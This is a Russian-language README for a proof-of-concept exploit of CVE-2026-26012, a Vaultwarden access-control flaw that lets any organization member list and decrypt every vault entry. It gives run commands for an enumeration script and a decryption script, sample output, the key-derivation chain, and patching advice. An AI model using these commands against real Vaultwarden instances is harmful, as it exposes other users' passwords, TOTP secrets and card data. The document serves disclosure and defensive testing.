
Доказательство концепции эксплуатации для CVE-2026-26012 — нарушенного контроля доступа в Vaultwarden, который позволяет любому участнику организации перечислять и расшифровывать все шифры, обходя разрешения коллекций.
Полное перечисление шифров с игнорированием прав доступа к коллекциям организации
Эксплойт proof-of-concept для CVE-2026-26012 — уязвимости нарушенного контроля доступа в Vaultwarden (<= 1.35.2), которая позволяет любому участнику организации получать и расшифровывать все шифры внутри организации, независимо от прав на уровне коллекций.
🤖 Примечание: Этот проект был разработан с помощью Claude 3 Opus. ИИ использовался для генерации кода, архитектурной структуры и документации. Все результаты были вручную проверены и протестированы для обеспечения качества.
| CVE | CVE-2026-26012 |
| Advisory | GHSA-h265-g7rm-h337 |
| Затронуто | Vaultwarden ≤ 1.35.2 |
| Исправлено в | 1.35.3 |
| CVSS 3.1 | 6.5 (Средний) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — Некорректная авторизация |
| Автор | Обнаружено @odgrso, исправлено @BlackDex |
Конечная точка API GET /api/ciphers/organization-details доступна любому участнику организации. Внутри она вызывает Cipher::find_by_org, который возвращает все шифры в организации, а затем обслуживает их с CipherSyncType::Organization без применения контроля доступа на уровне коллекций.
Поскольку все шифры организации используют один и тот же ключ шифрования организации (который каждый участник получает при вступлении), утёкшие шифры могут быть полностью расшифрованы на стороне клиента.
Обычный участник организации (ограничен коллекцией "Public")
│
├── GET /api/sync → 5 шифров (корректно)
│
└── GET /api/ciphers/organization-details
└──→ 47 шифров (ВСЕ шифры организации — ОШИБКА)
└──→ 42 шифра из ограниченных коллекций (УТЕЧКА)
└──→ Расшифровываются ключом организации, который уже есть у участника
.
├── README.md # Этот файл
├── poc_cve_2026_26012.py # Фаза 1: Перечисление шифров и обнаружение утечки
├── poc_decrypt.py # Фаза 2: Восстановление ключа организации и расшифровка шифров
└── LICENSE
cryptography (для расшифровки в фазе 2)argon2-cffi (только если целевой экземпляр использует KDF Argon2id)pip install cryptography
pip install argon2-cffi # опционально
Определяет, уязвим ли экземпляр, сравнивая шифры, возвращаемые обычной конечной точкой /api/sync, с уязвимой конечной точкой /api/ciphers/organization-details.
# Аутентификация через браузер (поддерживается SSO + 2FA), затем передайте Bearer-токен
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer-токен (рекомендуется — работает с SSO + 2FA)
--token "eyJhbGciOi..."
# Сессионный cookie
--cookie "VAULTWARDEN_SESSION=abc123..."
# Сырой заголовок Cookie (несколько cookie)
--cookie-header "session=abc; token=xyz"
# Прямой вход по паролю (только БЕЗ SSO и 2FA)
--email [email protected] --password "MasterPassword"
Как извлечь свой Bearer-токен:
/api/... и скопируйте значение заголовка Authorization--no-verify-ssl # Пропустить проверку SSL (самоподписанные сертификаты)
--show-all # Также отображать легитимно доступные шифры
--max-display 50 # Максимальное количество утёкших шифров для отображения (по умолчанию: 20)
--output results.json # Экспорт полных результатов в JSON
Восстанавливает ключ шифрования организации и расшифровывает все утёкшие шифры из фазы 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
Примечание:
--master-password— это ваш мастер-пароль Vaultwarden, используемый локально для вывода цепочки ключей расшифровки. Он никогда не передаётся по сети.--tokenотвечает за аутентификацию API.
Устранение неполадок: Если расшифровка ключа не удаётся, добавьте
--debug, чтобы увидеть промежуточные значения на каждом шаге. Скрипт автоматически пробует 5 стратегий (современный HKDF, устаревший HMAC, сырой ключ и варианты с пропуском HMAC) для обработки разных возрастов учётных записей и конфигураций.
Если у вас уже есть 64-байтовый ключ организации (128 шестнадцатеричных символов):
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === Цепочка восстановления ключа ===
[1/6] Получение параметров KDF...
KDF: PBKDF2-SHA256, iterations: 600000
[2/6] Вывод мастер-ключа...
[3/6] Растяжение мастер-ключа (HKDF-Expand)...
[4/6] Получение зашифрованных ключей из /api/sync...
Организация: ACME Corp
[5/6] Расшифровка симметричного ключа пользователя...
[6/6] Расшифровка RSA-приватного ключа → Ключ организации...
[+] Ключ организации успешно восстановлен!
[*] Расшифровка 42 шифра(ов)...
============================================================
РЕЗУЛЬТАТЫ РАСШИФРОВКИ
============================================================
Всего: 42
Расшифровано: 42
Ошибок: 0
СВОДКА ВОЗДЕЙСТВИЯ
Паролей восстановлено: 35
TOTP-секретов восстановлено: 12
Номеров карт восстановлено: 3
============================================================
Каждый участник организации уже владеет симметричным ключом организации, зашифрованным его RSA-публичным ключом. Цепочка расшифровки:
Мастер-пароль + Email
│ PBKDF2-SHA256 или Argon2id
▼
Мастер-ключ (32 байта)
│ HKDF-Expand-SHA256
▼
Растянутый ключ: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (расшифровывает profile.key)
▼
Симметричный ключ пользователя: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (расшифровывает profile.privateKey)
▼
RSA-приватный ключ (2048-битный PKCS#8 DER)
│ RSA-OAEP-SHA1 (расшифровывает profile.organizations[].key)
▼
Ключ организации: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
Расшифрованные данные шифров
В модели Bitwarden/Vaultwarden все шифры в организации используют один и тот же ключ шифрования. Контроль доступа на основе коллекций применяется только на стороне сервера — криптографическая модель не обеспечивает границ коллекций. Любой участник, имеющий ключ организации, может расшифровать любой шифр в организации. Эта CVE обходит серверный фильтр, раскрывая все шифры любому участнику.
| Тип шифра | Расшифровываемые поля |
|---|---|
| Login | username, password, TOTP-секрет, URI |
| Card | держатель карты, номер, CVV, срок действия |
| Identity | имя, SSN, паспорт, адрес, телефон, email |
| Secure Note | полное содержимое заметки |
| Все типы | пользовательские поля, метаданные вложений |
Немедленно обновите Vaultwarden до версии 1.35.3 или новее.
docker pull vaultwarden/server:1.35.3
После установки патча снова запустите фазу 1, чтобы подтвердить исправление — инструмент должен сообщить NOT VULNERABLE.
Если вы использовали уязвимую версию в организации с несколькими пользователями:
/api/ciphers/organization-detailsЭтот PoC публикуется после того, как уязвимость была публично раскрыта и исправлена:
Этот PoC не существовал бы без работы оригинальных исследователей безопасности и сопровождающих:
| Роль | Кто | Вклад |
|---|---|---|
| Автор отчёта об уязвимости | @odgrso | Обнаружил и ответственно раскрыл CVE-2026-26012 |
| Разработчик исправления | @BlackDex | Разработал и выпустил исправление в Vaultwarden 1.35.3 |
| Сопровождающий проекта | @dani-garcia | Создатель Vaultwarden, координировал advisory и релиз |
Спасибо за то, что делаете экосистему открытого кода безопаснее.
Этот proof of concept предоставляется строго для авторизованного тестирования безопасности и образовательных целей. Вы должны иметь явное письменное разрешение перед тестированием любой системы, которой вы не владеете. Несанкционированный доступ к компьютерным системам незаконен в соответствии с CFAA (США), Computer Misuse Act (Великобритания) и аналогичными законами по всему миру. Авторы не несут ответственности за неправомерное использование.
MIT — См. LICENSE.